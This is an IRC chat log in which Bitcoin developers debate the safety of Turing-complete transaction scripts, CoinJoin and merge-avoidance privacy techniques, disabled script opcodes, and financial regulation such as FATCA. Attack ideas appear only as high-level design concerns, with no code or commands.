01:27 < michagogo|cloud> It's a 100% clone of Bitcoin
01:27 < michagogo|cloud> Specifically the genesis block and parameters
01:29 < wyager> Oh my god
01:29 < wyager> that is so stupid
01:29 < wyager> And hilarious
01:31 < justanotheruser> heh
01:31 < justanotheruser> I wonder why no one did this for ixcoin or i0coin
01:31 < justanotheruser> well I guess ixcoin had a premine, but i0coin it might be possible
01:58 < justanotheruser> Bitcoin currently only allows turing incomplete scripts. Please tell me why an altcoin that has a limit on both block size and cycles executed to verify a blocks transaction (allowing turing complete scripts) is a bad idea.
03:35 < nsh> justanotheruser, it's not a bad idea, experimentally. it might be a foolhardy store of value
03:36 < justanotheruser> nsh: why?
03:37 < nsh> because there's no explicit incentive analysis that guarantees behaviour converges towards the subset of actions that preserve integrity
03:38 < nsh> there could be weird effects that stop people self-interestedly cooperating to keep value stable
03:38 < nsh> (there could also not)
03:38 < Taek42> technically, if you limit the number of cycles then it's not turing complete
03:41 < justanotheruser> Taek42: the scripts were never turing complete
03:42 < justanotheruser> and there can only be a limited number of scripts per block, therefore the blocks were never turing complete
03:42 < Taek42> I know that, was just knit-picking
03:43 < justanotheruser> Taek42: oh, I misunderstood. You were referring to my original statement where I said this could be turing complete.
07:26 < TD> if your addresses become compromised and they are on business cards, etc, you're hosed
07:26 < adam3us> TD: well they either need cold wallets, or air gapped armory-style deterministic wallets
07:27 < adam3us> TD: yes. it would only make sense to publish a static address really with an offline wallet for the disaster recovery reason you gave
09:07 < phantomcircuit> TD, that's a good point
09:24 < adam3us> phantomcircuit, TD: i guess the certification model extends the other way also: if you put on your biz card the master offline business/user identity pub key address, you could have the blockchain timestamp the signed subwallet deterministic address, as an analog to certifiate transparency in x509 world, and ask any full node for SPV validation this identitys address.
09:25 < TD> i'm much more interested in ways to link keys/payreqs to social networks
09:25 < TD> as that is what people seem to use these days
09:26 < adam3us> phantomcircuit, TD: kind of complicated however. ideally you want to be able to support scenarios where the wallet is offline, but connected to the network via the merchange only, without them getting ripped off via the unspecified change
09:26 < TD> i mean even email seems to be in its death throes for a lot of people
09:26 < TD> the number of times i try to email someone and discover their entire online presence exists only on various social networks or via stupid online forms is .... irritating
09:26 < TD> twitter is not a replacement for a public, non-obfuscated email address!
09:26 < TD> but this is the trend of our times
09:26 < phantomcircuit> TD, people or companies?
09:26 < adam3us> TD: i share your frustrations :)
09:27 < TD> people
09:27 < phantomcircuit> TD, bizarre
09:27 < TD> companies still use it as much as ever, AFAICT
09:27 < TD> email is still the best for "serious" communication
09:27 < adam3us> there maybe some aspect of scale - if you are going to wire a company a lot of money, you want to be sure you have the right address/account number in this analog
09:27 < phantomcircuit> TD, personally i avoid email for company <-> customer communication as much as possible
09:27 < TD> but a lot of people don't really engage in a lot of serious conversation online. it's all short messages and social networks are better for that
09:27 < phantomcircuit> it's enormously difficult to keep straight who you're dealing with
09:28 < adam3us> TD: i just engaged in some research q about hashcash for udp/ip anti-DoS with a fellow who seemed to want to do it over twitter; twitter even dropped msgs, lots of htem, so i had to go search for them
09:28 < TD> ugh
09:29 < TD> yeah i can't believe anyone wants to use twitter for anything approximating work. but now i feel like i'm getting old and i'm not yet 30
09:29 < TD> some years ago the gmail team did a lot of research that scared the crap out of the entire division
09:29 < TD> it basically said that an entire generation didn't use email at all. period.
09:29 < TD> the only reason they had an email address was to register at sites
09:29 < TD> and/or because their university/school insisted on one
09:29 < adam3us> TD: I mean i recognize the guys handle he's been on cpunks for years, and i believe he's highly competent in host security circles, but holy moly that is not a topic for twitter
09:29 < TD> it had been 100% killed by facebook
09:29 < TD> now facebook is getting killed by WhatsApp
09:30 < TD> so, trying to keep up with how people organise and communicate is a waste of time. much better to find a way to be general about this and coattail it
09:30 < TD> hence my interest in steganographically encoding short URLs where you can find a payreq into profile pictures
09:31 < TD> that's one thing all these mediums have in common (er, except email, but email has attachments)
09:31 < phantomcircuit> TD, gotta love whatsapp's security
09:31 < TD> "startup code". though i think they improved it since
09:31 < phantomcircuit> lol duplex rc4 streams with the same key
09:31 < adam3us> TD, sipa: btw re discussion yesterday about why people are confused that an address is static, i presume you may've come across living in zurich, with swiss private banks if you ask for a private payment, they send the transfer only with a transaction number, not a sending account number - its rather similar to bitcoin, but most people dont know about that or how it works
09:32 < phantomcircuit> adam3us, it would probably be easier to explain to people as a single use credit card number but for the mechant
09:32 < phantomcircuit> (maybe)
09:33 < adam3us> phantomcircuit: yes that is a good analog, just amused me that in some ways bitcoin addresses are a reinvention of swiss banking privacy technique, on use transaction numbers in place of accounts
09:34 < TD> heck i live in switzerland and have never encountered that
09:34 < TD> swiss banks are like any other bank as far as I can see. except, reasonably competent
09:34 < TD> (in terms of their user-facing stuff)
09:34 < TD> (not their investment decisions)
09:34 < BlueMatt> or their signup requirements for americans.....
09:34 < adam3us> TD: you'd have to request it, see people with swiss private bank accounts are sensitive about other people learning their account number
09:36 < TD> well that's not their fault
09:36 < TD> anyway their signup requirements are mostly very simple. "you cannot be american". doesn't get simpler than that!
09:36 < BlueMatt> heh
09:36 < phantomcircuit> TD, well you can be american, but you have to basically allow them to give you entire account history to anybody who asks for it
09:37 < phantomcircuit> also you needs lots of money
09:37 < BlueMatt> (and prove residency)
09:37 < TD> no quite a few banks just forbid US citizens period
09:37 < TD> some will do it and handle the requirements yes
09:37 < phantomcircuit> TD, those bans are always dependent on how much you want to deposit
09:37 < adam3us> btw Ian Grigg/systemics with their sox protocol ran for a time a payments server demo with one-use, or user-controlled creation of multiple account numbers. he was the guy who also operated egolds transaction server under contract somewhere in the caribbean - its ananlogous to the swiss private banking privacy model, and the bitcoin model
09:38 < adam3us> phantomcircuit: $500k min deposit i think
09:39 < phantomcircuit> adam3us, yeah i guess
09:39 < phantomcircuit> but i dont see why anybody would bother unless they actually lived in .ch
09:39 < adam3us> Ian Grigg actually wanted to use chaum/brands signing but couldnt get a license due to the chaum patent getting locked up in a patent holding company and other similar issues
09:41 < adam3us> phantomcircuit: well its private is the point (financial privacy) and .ch has some nice AAA rated banks (the US doesnt have any) also if you live in spain, cyrpus, much of europe its a great way to avoid getting an involuntary depositor haircut
09:41 < phantomcircuit> adam3us, for a us citizen there isn't really much more privacy
09:42 < phantomcircuit> so really what you're getting is a competent bank in the .eu
09:42 < adam3us> phantomcircuit: its orthogonal from taxes - you have to declare it or get taxed anyway if you have a european passport also. there is also asset protection. they do not seize funds without a swiss court seeing evidence and it passing their legal standard
09:43 < TD> it looks like there's going to be a referendum on FATCA actually
09:43 < TD> which worries me a great deal
09:43 < TD> that could lead to "interesting times" for sure ...
09:44 < adam3us> TD: grr facta, wipo etc. i wish the chinese would just say no, hire falkvinge as advisor, and start a counter-veiling force
09:44 < TD> i quite like switzerland. i hope it doesn't end up engaged in a bloody fight it's too small to win
09:45 < TD> it's fat-ca not facta, though the former is much harder to say
09:45 < TD> well unfortunately the nature of how fatca works mean no one country by itself can stop it. that's rather the nature of empire, see, conquered lands are forced to join the army and fight the next one
09:45 < TD> until nobody is able to stop the conquering army and you end up with rome
09:46 < TD> it takes *simultaneous* opposition
09:46 < TD> that isn't going to happen.
09:47 < phantomcircuit> adam3us, theoretically that provides some level of protection
09:48 < phantomcircuit> in practice however very few us citizens with funds in swiss banks would benefit from that in a meaningful way
09:50 < adam3us> TD: yes fatca is the equivalent of viral licensing. they are trying to take over and unify. its a very bad trend because it precludes jurisdictional competition and societal exploration of conventions pulls everyone down to the lowest denominator (whatever american politicans are paid by lobbyists to think)
09:50 < TD> i would put it more simply: it is the end of independent countries and the formal start of the american empire
09:50 < BlueMatt> hah, yep, welcome to us banking regulation (and others, ie trade sanctions...)
09:50 < BlueMatt> we own the world, screw everyone else
09:51 < adam3us> TD: agreed. the only hope I see is the rise of asia ecomic and geopolitical influence
09:51 < BlueMatt> and yet even americans have a fundamental hate for their politicians....
09:51 < BlueMatt> one would hope the eu would be large enough and willing to compete, but that clearly isnt gonna happen
09:51 < TD> yes it's quite an unstable situation, where you have a tiny number of people in washington who are despised by nearly everyone including the people they claim to represent
09:52 < adam3us> TD: and the meteoric rise of rick falkvinge & pirate party, still an outlier but growin
09:52 < TD> the only thing keeping a lid on it, is the fact that technically they were "voted" for, but i wonder how long that will continue to placate people
09:52 < TD> BlueMatt: well, compete in what sense?
15:29 < adam3us> jtimon: so long as the contracts catalog that you consider as your benchmark are implementable in a turing completeness sense, with the current script language, maybe its better to focus on a translator from psuedo-legalese to script. and add minimal script extensions to cover any gaps rather than going for eval like generality and trying to contain the damage
15:29 < gmaxwell> jtimon: Yes. It's not about "dumb" it's about having forced choice.
15:29 < jtimon> maybe maaku and I are too optimistic but to me it seems an exhageration
15:30 * adam3us is loathe to repeat that long thread
15:30 < jtimon> "having forced choice"? I don't understand
15:30 < gmaxwell> sure you could _choose_ to refuse to do business with this or that, or refuse to accept this or that coin. You could also choose to live in a cardboard box under the freeway.
15:30 < gmaxwell> Not all choices are meaningful, even in the presence of perfect information.
15:30 < jtimon> who forces you to accept amlcoins? who forces you to turn your btc into amlcoins?
15:30 < maaku> jtimon: well, we're also thinking about this in the context of having 5% of the monetary base refreshed annually
15:31 < adam3us> adam3us: but in summary as the regulators have much control over the gateways to banking infra, a viral amlcoin enforced at exchanges would already be enough i think
15:31 < jtimon> maaku and they think it from the perspective that deflation doesn't matter, so 1% of the current btc will be ok, and 0.1%, 0.001%...
15:32 < adam3us> jtimon: anyone who only accepts amlcoins that you have a poor choice with (no service or amlcoin, amlcoin as change because of the payment integrator they are using etc)
15:33 < jtimon> the way you talk about it, is like if btc would be dommed if bitpay and gox stopped accepting bitcoin and moved to ltc...
15:33 < andytoshi> adam3us: it occurs to me re your 'redcode' scenario that this is exactly what happened in the real global financial system in 2008
15:34 < andytoshi> ie the legalese that contracts for derivatives are written in is turing complete, and extrospection capabalities are determined by a regulatory regime that did not do cogent incentive analysis
15:34 < adam3us> andytoshi: haha yes. the system was virus prone. the fintech/bankster boys dreamed up viral make-money fast schemes that are doomed to crash with OPM
15:34 < andytoshi> which led to things like, eg the cds market hitting a 4 quadrillion cap :P
15:34 < jtimon> " amlcoin enforced at exchanges" you mean prohibiting bitcoin exchanges?
15:35 < adam3us> andytoshi: fascinating analogy. and we think we can protect that by restricting the contract language? (probably not)
15:35 < gmaxwell> jtimon: it's much harder politically to shut down bitcoin exchanges when to do so you're suppressing bitcoin. Much easier where "on no bitcoin exchanges are fully permitted! they just have to comply with the law
15:36 < andytoshi> adam3us: so this is very cool, there is potential here for us to describe the horrible subtlety of financial regulation, in the context of cryptosystem currencies (which i have mentioned before, lets us do a lot of spherical-human economic analysis thanks to trustlessness)
15:36 < adam3us> jtimon: much was said upthread but yes exchanges already comply with aml, if bitcoin supports viral aml, regulaor will say "ok so use it or shutdown" and users will say ok i want to buy $100k btc i can spend a month on bitcoin-otc (coffee shops for cash) or put u with amlcoin etc
15:36 < jtimon> adam3us: I just don't believe all countries will prohibit bitcoin exchanges
15:36 < andytoshi> and have a very simple-to-describe but very precise "here is where the thinking went wrong" explanation of that whole situation
15:37 < jtimon> " users will say ok i want to buy $100k btc " wasn't your assumption that the users weren't able to get btc out of the exchange anymore, just amlcoins?
15:37 < adam3us> jtimon: i think if the world was as sure as you are about financial regulation and bitcoin the price would be $100k/coin already :D i thnk oneof the main things holding bitcoin back is just that - uncertaintly about regulation! its not that there havent been multiple non-basket case jurisdictions that have behaved erratically with bt regulation
15:38 < andytoshi> adam3us: re "restricting language", maybe that is exactly what we want to do, combined with maaku's "provably nonviral" ideas
15:38 < adam3us> jtimon: right. thats what would happen to any exchange that was forced by regulation to use amlcoin covenants
15:38 < andytoshi> because we've seen in real life that pasting "don't act in bad faith" policies onto a turing complete system lets people do weird destructive things
15:39 < adam3us> andytoshi: i dunno sounds like halting problem^2 in hardness
15:39 < gmaxwell> adam3us: no, because as maaku pointed out, you can fail-safe.
15:39 < gmaxwell> If the static analysis can't prove your transaction sufficiently non-viral, its just not valid.
15:39 < andytoshi> adam3us: the result would be basically a whitelist of policies, and if people can prove that new things are safe maybe they could post a SNARK showing that or something, so the hard analysis is on them
15:39 < adam3us> andytoshi: BUT what we can do and i pushed this thought to a few offline people, is have auditable insurance coverage through the insurer, the reinsurer, the assets, the companies balance sheet, revenue, dividendes etc.
15:42 < adam3us> gmaxwell: maybe. now security depends on a few more components including a theorem prover's comprehension vs virus writers
15:42 < adam3us> andytoshi: nice to have a fast to verify compact proof yes.
15:43 < andytoshi> adam3us: we could maybe put these proofs in the blockchain along with a unique identifier, then require all txes to reference the proof that they are safe
15:43 < nsh> we're on to viral transactions now? great...
15:43 < andytoshi> obviously this is a half-baked idea, as you say theorem proving is not developed enough to do such high-consequence real-world stuff
15:44 < adam3us> andytoshi: maybe. or we could amuse ourselves with what we can do with non-extrospection languages
15:44 < andytoshi> yeah, i'm really impressed and surprised with what you guys have found to be possible
15:44 < nsh> i'd like to see a fully darwinian transactosphere...
15:45 < adam3us> nsh: suggest looking at ethereum. will be interesting to spectate :)
15:45 * nsh nods
15:47 < nsh> had a very unbaked and thoroughly handwavey idea about a DSA-authorized capabilities-based distributed computational system over a blockchain with costed access to scripts and (computational) inputs somehow marked to market by utility or complexity
15:48 < nsh> not sure exactly what all those words means though so it'll probably remain pretty deep in my imagination :)
15:49 * adam3us wonders if its considered part of redcode game to write ethereum stealing viruses?
15:49 < andytoshi> that's interesting, if you can infect a majority of hashpower you can "hack the matrix" so to speak :P
15:50 < nsh> (it's always part of the metagame to cheat in ways that haven't be considered and thus explicitly prohibited)
15:50 < andytoshi> i guess i mean, if you can infect almost all the validating nodes
15:51 < gmaxwell> I think I mentioned before, some of these altcoins basically appear to have no nodes... even 'widely' used ones: people just mine directly to exchange accounts.
15:51 < gmaxwell> so you've got a couple of pools, a couple of exchanges, an odd geek or two, and thats it.
15:52 < adam3us> nsh, andytoshi: i was thinking there could be two levels of viral ethereum progrms. a) within the interpreted execution space, eg viral covenants etc; b) escape the interpreter via sandbox escape. i wonder though, they probably wouldnt find it funny even if you did
15:52 < gmaxwell> and these are things where there is no huge cost to running a node... the chains are small because there are few txn.
15:53 < adam3us> gmaxwell: ha not only no tx, no wallet, but not even any full nodes.
15:53 < nsh> hmmm
15:54 < gmaxwell> well there are some levels of transactions, but no real reason for someone to run a node. So thats the kind of outcome I'd expect for ethereum, particularly because running a node would be expensive.
15:54 < adam3us> gmaxwell: i was thinking beyond coingen.io why not virtualize the whole thing. pay for virtual VPS, virtual ASIC hardware,... maybe you can make that provably fair like central but fair dice; i mean what the difference its only a tulip/pryamid coin anyway. people can speculate on synthetic nothing without wasting eletricity then
15:55 < gmaxwell> adam3us: you could call it "mastercoin"
15:55 < adam3us> gmaxwell: minioncoin. many someone should fork mastercoin and put it on top of dogecoin
15:56 < gmaxwell> Every dog has his master.
15:56 < gmaxwell> Many leashes. Such dogwalk.
15:56 < gmaxwell> the "exodus" needs to be DogCarRide
15:57 < adam3us> gmaxwell: please can 2014 be the year of the death of tulip coins?
16:00 < kinlo> heh, to see gmaxwell talk dogetalk made me laugh :)
16:03 < michagogo|cloud> andytoshi: Erm, you've given me an error I've never seen before
16:03 < michagogo|cloud> http://imgur.com/ZTcyCyR,kwBmvFO
16:04 < michagogo|cloud> andytoshi: Is the file I got broken?
16:04 < michagogo|cloud> 3836c0fef1bffbb4ed7c35564dbb23ad51295a74df7bc53b234b13e198bf4264 */cygdrive/c/Users/Micha/Downloads/cj-windows.zip
16:04 < gmaxwell> kinlo: that meme was a favorite in my household two months ago. dogecoin is kinda overplaying it at this point.
16:04 < michagogo|cloud> (sha256)
16:04 < maaku> "maybe. now security depends on a few more components including a theorem prover's comprehension vs virus writers" <-- there's no way you'd want the therom prover to be part of consensus
16:04 < maaku> i was suggesting it as part of the IsStandard check and wallet code
11:52 < TD> i am rather skeptical about widespread coinjoining. small scale joining gives you a small modicum of deniability .... how much privacy it gives you is rather an open question at this point
12:00 < petertodd> Emcy: in the short term my main thinking is to use coinjoin with two-party-mixes as a way to thoroughly break the idea that transactions are authored by a single person. There's a lot of work to do beyond that, but breaking that assumption is a very important first step.
12:01 < petertodd> Emcy: e.g. naive two-party-mixes leak information with regard to the values on the txins and txouts, but subsequent efforts can help plug that leak by, for instance, using value-matching techniques where one party to the transaction delibrately matches the values of the other party's txouts
12:03 < petertodd> Emcy: this also ties into merge avoidance: if txins are not always merged into a single txout to make a payment you have a lot more flexibility in making coinjoins that don't give external observers useful information. equally that people are doing merge-avoidance with coinjoin means that even when you don't use that feature, transactions have solid plausible deniability
12:08 < petertodd> Emcy: example: I want to pay you, and you've told me you'll accept up to two txouts for that payment. I do a two-party CJ mix with someone who needs a specific output value, and I use one of those txouts to match their value, the other to send you the balance of the payment, and I have a third txout with my change.
12:19 < petertodd> Hmm... and come to think of it, rather than calling it "merge avoidance", the idea is better described as "merge flexibility" - the receiver of funds is saying "here's how many txouts I'm willing to accept, use that to better optimize how you merge the txouts you are using to pay me to balance privacy and cost per transaction". Using CoinJoin in conjunction
with merge flexibility is a win because it lets you get away with fewer txouts - more ...
12:19 < petertodd> ... merging - at the same privacy level. In short, it's cheaper for a given level of privacy.
12:22 < Emcy> petertodd i fear it will take much more. Youre assuming rationality about how the system works.
12:23 < petertodd> Emcy: explain?
12:23 < Emcy> consider how bad IP addresses are for identifying individuals vis a vis the war on bittorrent
12:23 < Emcy> they do it anyway, no one seems to care much that they get it wrong all the time
12:24 < petertodd> Emcy: oh sure, don't get me wrong, I'm not saying this is easy. The fact that "merge avoidance" seems to have been proposed as a way to let blacklists still function shows how hard this will be.
12:24 < petertodd> Emcy: But we can only respond by making better privacy as cheap and easy as possible and trying to get as many people using it as possible.
12:24 < Emcy> it seems like you have to stop the idea that some sort of convenient data can ID a person and what they do before people get it into thier heads, never mind that it might be completely wrong anyway
12:24 < petertodd> Emcy: even blockchain.info's centralized coinjoin implementation is a huge win in that regard
12:25 < Emcy> thats why convalidation makes me worry even as it is now
12:25 < petertodd> same, but again, sitting around and complaining won't fix things.
12:27 < Emcy> do you really think mikes merge avoidance thing was really proposed specifically to let blacklists get a foot in the door?
12:27 < Emcy> I thought it was more CJ + merge thing complementing each others weaknesses
12:28 < petertodd> Emcy: yes. from the article on medium: "Merge avoidance doesn
t interfere with coin tracing."
12:28 < petertodd> Emcy: the original proposal was merge avoidance as a complete replacement for coinjoin; fortunately it complements coinjoin very nicely
12:29 < petertodd> Emcy: notably everything that makes merge avoidance possible to use without coinjoin can be re-used to use it with coinjoin.
12:29 < Emcy> can you link? I thought i read it. maybe that went right over my head
12:29 < petertodd> Emcy: https://medium.com/p/7f95a386692f
12:29 < petertodd> Emcy: it's at the bottom of the article
12:30 < petertodd> Emcy: the article is very misleading about coinjoin as well, giving lots of reasons not to use it
12:31 < Emcy> i really want to believe hes playing devils advocate like it was a 10 pence a go street fighter arcade cabinet in 1989
12:32 < petertodd> Emcy: FWIW merge avoidance isn't new either - the first time I heard of the concept was from adam back pointing out how pervasive merge avoidance gives privacy properties very similar to zerocoin. (if coins are always fixed in size)
12:33 < petertodd> Emcy: lol!
12:36 < Emcy> it just seems like there are quite a few people confusing pragmatism with submitting fully to the usual strictures requested on disruptive new techs without a fight
12:38 < Emcy> if you cant imagine something better than the way things basically already are with a new coat of paint then why the fuck are you here frankly.....
12:39 * nsh subscribes to Emcy's newsletter
12:39 < petertodd> lol
12:39 < Emcy> yeah i completely missed that last paragraph of that article somehow
12:40 < petertodd> Emcy: heh, the interesting thing is how that paragraph was in there in the first place - nicely transparent
12:40 < petertodd> Emcy: anyway, we're lucky that good solutions appear to exist; hopefully as they are implemented we don't find show-stopping problems
12:42 < Emcy> hopefully hes wrong about mergepurge being in lieu of coinjoin, and people realise they work better together...........but he might be right
12:43 < petertodd> the laws around this stuff are certainely still in flux
12:43 < Emcy> i have a heavy suspicion there are LOTS of people in bitcoin who would betray it utterly to The Man if it means the price keeps going up, which it preatty much will as long as its not banned or somthing
12:43 < petertodd> agreed
12:44 < Emcy> right, and if that happens then the uncomfortable conclusion is that every other shitty and irrational thing in the world is the way it is because it has to be, because we suck.
12:45 < Emcy> perhaps thats my projecting though
12:45 < TD> Emcy: it works for bittorrent because basically all IPs that participate in a particular torrent are all doing the same thing (i.e. violating copyright). you can't generalise from that to bitcoin.
12:46 < andytoshi> Emcy: a lot of people here are dimly aware that "bitcoin is decentralized" but simply cannot imagine anything else .. only recently have people started talking about this stuff like it's something normal people should be doing
12:46 < TD> i don't think my article is misleading about coinjoin. it balances other things that were written about it by pointing out some obvious problems.
12:46 < andytoshi> so we'll see an improvement as awareness increases
12:46 < TD> which were not being adequately covered elsewhere
12:47 < petertodd> TD: cj will be soon implemented without centralized servers, so you can correct that, you can also correct the long waits as the plan is to combine users who want txs to go through now with ones who are willing to wait
12:47 < TD> if/when those things happen i would amend the article. however it's not misleading to describe the world as it is now.
12:47 < andytoshi> TD's article also talked about how cj is not a panacea .. i agree, this was not really mentioned elsewhere
12:48 < petertodd> TD: coinjoin isn't implemented now, so talking about a theoretical bad implementation isn't honest
12:48 < TD> somehow you don't believe what genjix or blockchain did is coinjoin?
12:48 < petertodd> TD: note how bc.i's implementation uses techniques to negate most of those concerns
12:49 < petertodd> TD: genjix is a quick prototype. anyway, it's dishonest to talk about what merge avoidance might be unless you are willing to compare it to what coinjoin just as plausibly might be
12:50 < TD> i don't think there was any dishonesty in my article at all, it correctly reflected the issues that exist with implementing both approaches. but i'm tired of arguing about this. you will continue to paint me as dishonest and somehow part of a conspiracy regardless of what i write, because that's what you do.
12:50 < petertodd> TD: if you don't want to be painted as dishonest, then don't write stuff that leads to that conclusion
12:51 < TD> see? i haven't. it's just you.
12:51 < petertodd> TD: this conversation isn't going to be very productive for either of us
12:51 < maaku> TD: genjix and blockchain.info (and andytoshi's) are not the protocol described in gmaxwell's original posting
12:51 < TD> correct
12:52 < petertodd> maaku: yup. more to the point, coinjoin is a whole family of techniques, with different tradeoffs. I'm pushing two-party-mixes because I believe that the tradeoffs are useful, but other approaches (like yours!) have tradeoffs that make more sense in different circumstances.
12:54 < petertodd> TD: anyway, please do work on merge avoidance - as I say above it'll really help make coinjoin more useful
12:55 < TD> lots of other things to do first. like actually get the payment protocol launched and used.
12:58 < petertodd> TD: seems to me that a good first step would be to define an output range in the Output message in the payment protocol: "optional <something> amount_range = 3;"
12:59 < TD> well, you can do some merge avoidance with the v1 protocol as specified
12:59 < Emcy> TD no the point is that you cant link an IP to a person to any sort of acceptable evidentiary standard, for the act of infringment. But it happens anyway.
12:59 < TD> which is no surprise because i designed it that way from the start
12:59 < petertodd> TD: sum of all outputs must == sum of all amounts
12:59 < TD> Emcy: of course you can. Find a torrent that is for a movie. Find all participants in that Torrent. They're all distributing the movie. Open/closed case, right?
10:30 < adam3us> gmaxwell: its the missing part of my hypothesis that a 1-way peg is already close to plausible for mkt maker to fill the gap, if there is eg some long term chain migration plan. in this way no migration is necessary.
10:32 < adam3us> gmaxwell: pay per cycle. yes seems plausible, but may create lumpy work load for nodes. maybe processing with in a given time-frame becomes critical to the semantics of the tx even. the point of TC would be to use it as a meta-programming language to define new coins and rules. eg in this kind of system something like p2sh change is just a script with
no system code changes. a script can define a new concept
10:33 < gmaxwell> yea, I'm still not arguing letting validation become expensive is a good idea. :P Just filling out the idea.
10:34 < adam3us> gmaxwell: but u have to wonder about the safety of that. btc script is intentionally constrained and even then people were value scared enuf to disable most of it. general script are even disabled right (only certain pre-cooked ones allowed)? this on the other hand may allow a clever set of scripts to attack each other, and
10:35 < gmaxwell> Implementers currently get script execution all wrong and it's already quite simple.
10:35 < adam3us> gmaxwell: so somone creates a btc/usd call option, and someone else creates another script to do something else or a competing call option and it steals all the money from the other call options. its like redcode
10:36 < petertodd> adam3us: I don't think we're ready to have scripts run on thier own - creates consensus issues about when a script is supposed to run!
10:38 < adam3us> gmaxwell: even if the interpreter is correct (single implementation = spec satoshi style) i am not sure about the redcode game issue
10:38 < petertodd> redcode game?
10:39 < adam3us> petertodd: never played it but http://en.wikipedia.org/wiki/Core_War
10:39 < petertodd> adam3us: ah! yeah that's a classic
10:39 < adam3us> petertodd: users battle for control of the cpu with hostile code
10:40 < petertodd> Interesting thought: transactions and the blockchain are a way of stringing multiple bits of code together in a DAG.
10:41 < gmaxwell> adam3us: certantly that kind of ecosystem would create greater incentives for reorgs.
10:42 < andytoshi> petertodd: i have thought about making a blockchain-based haskell-like language
10:42 < andytoshi> sadly, i could see no point to it
10:43 < petertodd> andytoshi: I had the similar idea of doing a HSM with merklized forth actually - pretty much the exact opposite direction in terms of implementation complexity
10:45 < andytoshi> hsm == Hierarchical storage management ?
10:45 < gmaxwell> hardware security module
10:46 < andytoshi> gmaxwell: ah, that's what i thought, but i didn't see the connection to merklized forth
10:46 < adam3us1> gmaxwell: but even if (hypothetically) the incentives worked, and the interpreter escape issue was magically solved, and program counter issues avoided... i am still wondering if its fundmentally unprovably dangerous
10:46 < petertodd> andytoshi: it's more because forth is incredibly simple, so it's more likely you'd actually get the implementation right
10:47 < adam3us1> gmaxwell: see i mean it defines a language for writing bitcoin functions, new script functions, new semantics for value transfer or whatever, its fully general; but in such an environment would u not be in a core-war / redcode scenario is my point
10:47 < petertodd> andytoshi: yet forth still can do lisp-like tricks by doing data as code
10:48 < andytoshi> petertodd: oh, i see
10:48 < andytoshi> i should've looked up forth instead of hsm :P all i know is 'stack-based language'
10:48 < gmaxwell> adam3us1: I'm not sure if it would be core-war or not. If resource constraints work they'd be fighting the resource constraints not each other. Certantly lots of people would lose money by writing dumb code that can be tricked. "LOL I integer overflowed your transaction and took all your monies!"
10:49 < adam3us1> gmaxwell: its almost but not quite, like you linked a remote execution of java byte code for fees and feature extension ito the bitcoinj - in theory flexible - in practice dangerously generic
10:49 < gmaxwell> and yes, I think it would be very very hard to make safe in a single implementation, and exceptionally hard to safely reimplement.
10:50 < adam3us1> gmaxwell: i mean that one could just take your private key and be done. but yes exactly, the question is beyond that even competently written script extensions written in a generic jvm bytecode kind of level be systematically safe from any other byte code string that could be later run in the competing ecosystem
10:50 < gmaxwell> This is why I prefer the path of using SNARKs of some kind for more complex scripts.
10:50 < andytoshi> it seems that any instance of 'breaking out of the sandbox' would be a forking scenario, since it'd probably depend on the memory layout of the targets
10:51 < gmaxwell> adam3us1: I mean, right now eligius isn't using a multisignature address for the emergency pool address because they don't know how to go forward on making sure their prefered script formulation is safe.
10:51 < adam3us1> gmaxwell: well snarks just mean that u dont run the code, you run the verifier on the proof the code was run; it still vulnerable if it is as self-extensible as TC arbitrary vm bytecode level code
10:52 < petertodd> gmaxwell: you mean they don't have the tools to just go make a scriptSig to try spending it?
10:52 < gmaxwell> andytoshi: maybe, overwriting the behavior of one other opcode might be possible just with a constant offset.
10:53 < gmaxwell> petertodd: they want to have a {a and b} or {{a or b} and 2 of 3{c,d,e}} sort of script. They came up with one, but were not completely confident that their coding was flawless (or if unexpected behavior in op_if would let funds get stolen)
10:54 < gmaxwell> adam3us1: at least there is no "code escape" bug in the snark case. Or consensus-criticial-implementation-consistency bugs.
10:54 < andytoshi> adam3us1: are you talking about finding bugs in the snark circuit (which is commited to in the preprocessing stage) itself?
10:54 < petertodd> gmaxwell: ah, did they do the "op_if" as "select block of code" style?
10:54 < gmaxwell> only the risk that you write a bad script.
10:54 < adam3us1> gmaxwell: i am thinking it may have even some mathematical provability limits. if u consider the near infinite (finite because of program counter limit per time-slice) set of computable functions how can you generically prove that there exists no other function that can damage teh intended properties of the former extension function when used by anyone.
10:55 < adam3us1> gmaxwell: correct on the code ecsape and interpretation fork
10:55 < gmaxwell> petertodd: they did two checksigs and accumulator to count how many worked, and if its not two, they drop into an op_if block that checks the accumulator for one, and runs a check multisig.
10:55 < adam3us1> andytoshi: no i am just saying if each and every user can go wild and create bitcoin script language extensions dynamically how do u know the resulting ecosystem will be safe after each dynamic new feature is added. it is maybe mathematically undecidable
10:56 < gmaxwell> adam3us1: sure, or
"You can steal my coins if you can find the discrete log of 0xdeadbeef"
10:56 < andytoshi> adam3us1: oh, gotcha, still on the redcode scenario
10:57 < petertodd> gmaxwell: right, see I would do that as op_if 2 a b checkmultisig else if a checksigverify else b checksigverify endif 2 c d e 3 checkmultisig endif
10:57 < adam3us1> gmaxwell: but these TC extensions are stateful. so if there is any rational logic to disabling simple things like XOR script, this is like letting anyone define new opcodes and higher level functions running arbitrary byte code. how is that safe in comparison
10:58 < petertodd> gmaxwell: spend with sig_a sig_b 1, or with: sig_c sig_d (sig_a or sig_b) 1/0 0
10:58 < petertodd> gmaxwell: no accumulator needed
10:58 < gmaxwell> petertodd: well that form repeats the pubkeys a fair bit.
10:59 < petertodd> gmaxwell: yes, but it's very simple to understand
10:59 < gmaxwell> adam3us1: yea, I can't justify stateful things.
10:59 < gmaxwell> petertodd: but ... we want to both have and eat the cake.
11:00 < petertodd> gmaxwell: lets see if we can succesfully eat a muffin without losing tens of thousands of dollars
11:00 < gmaxwell> petertodd: in any case, it's an issue that the ability to safely use fancier scripts is that they're moderately risky.
11:01 < gmaxwell> but (1) my comment was also an existance proof that people are actually smart enough to realize this (2) it's sort of their own problem if they don't.
11:01 < petertodd> gmaxwell: well that's just inherent to doing complex things
11:01 < andytoshi> i thought the rationale for having disabled opcodes is that they could screw with the people running the code (i.e. everyone) to cause either DoS attacks of some form, or worse, forks
11:01 < gmaxwell> (It wasn't me who pointed out that script was risky either, I think)
11:01 < andytoshi> but in case of snarks, everybody is just verifying that a specific (TC-complete) circuit was run
11:02 < gmaxwell> andytoshi: we disabled the op_codes because lshift was exploitable to crash nodes.
11:02 < petertodd> andytoshi: the rational was "oh shit! lets be super cautious now"
11:02 < gmaxwell> It turns out that some of the other disabled ones had other bugs too.
11:02 < petertodd> andytoshi: lshift could have been fixed, but just disabling was easy
